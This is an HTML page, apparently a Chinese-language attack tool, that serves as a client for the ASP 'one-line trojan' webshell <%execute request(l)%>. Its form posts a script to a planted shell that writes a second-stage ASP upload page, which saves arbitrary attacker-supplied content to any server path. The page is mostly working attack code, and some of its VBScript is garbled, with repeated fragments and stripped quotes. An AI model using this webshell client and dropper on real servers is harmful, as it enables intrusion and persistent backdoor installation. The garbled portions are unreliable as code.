<html><title>一句話木馬連接客戶端-- BY 寂寞的刺蝟@ 520000796</title><p align=center>一句話木馬(<font color=#0000FF><%executerequest(l)%>< /font>) 的本機連線客戶端</P><P><form name=codeform action= method=post onsubmit=if (this.userurl.value.length<1){alert('請輸入URL位址!');this.userurl.focus();return false}else{this.action=this.userurl.value}> </P ><P><p>ASP URL:<input style=WIDTH:70% type=text name=userurl value=http://127.0.0.1/date/jmdcw.asp /> <font color=#FF0000>產生asp頁名稱:</font><textarea name=l cols=100 rows=7 width=36>set lP=server.createObject(Adodb.Stream)lP.OpenlP.Type=2lP.CharSet=gb2312lP.writetext request(p)lP.SaveToFile server.mappath(jmup.asp),2lP.Closeset lP=nothingresponse.aspirect jmup.asp),2lP.Closeset lP=nothingresponse.aspirect jmup. </textarea><font color=#FF0000>上傳內容:</font><textarea name=p cols=100 rows=7 width=36><% dim objFSO %><% dim fdata %><% dim objCountFile %><% on error resume next %><% Set objFSO = Server.CreateObject(Scripting.FileSystemObject) %><% if Trim(request(syfdpath))<> then %><% fdata = request(cyfddata) %><% Set objCountFile=objFSO.CreateTextFile(request(syfdpath),True) %><% objCountFile.Write fdata %><% if err =0 then %><% response.write <font color=red>save Success!</font> %><% else %><% response.write <font color=red>Save UnSuccess!</font> %><% end if %><% err.clear % ><% end if %><% objCountFile.Close %><% Set objCountFile=Nothing %><% Set objFSO = Nothing %><% Response.write <form action='' method=post> %><% Response.write 儲存檔案的<font color=red>絕對路徑(包含檔名:如D:/web/x .asp):</font> %><% Response.Write <input type=text name=syfdpath width=32 size=50> %><% Response.Write %><% Response.write 本檔案絕對路徑%><% =server.mappath(Request.ServerVariables(SCRIPT_NAME)) %><% Response.write %><% Response.write 輸入馬的內容: % 輸入馬的內容: % ><% Response.write <textarea name=cyfddata cols=80 rows=10 width=32></textarea> %><% Response.write <input type=submit value=儲存> %><% Response.write </form> %> </textarea><center><input type=submit value =提交/></form></html>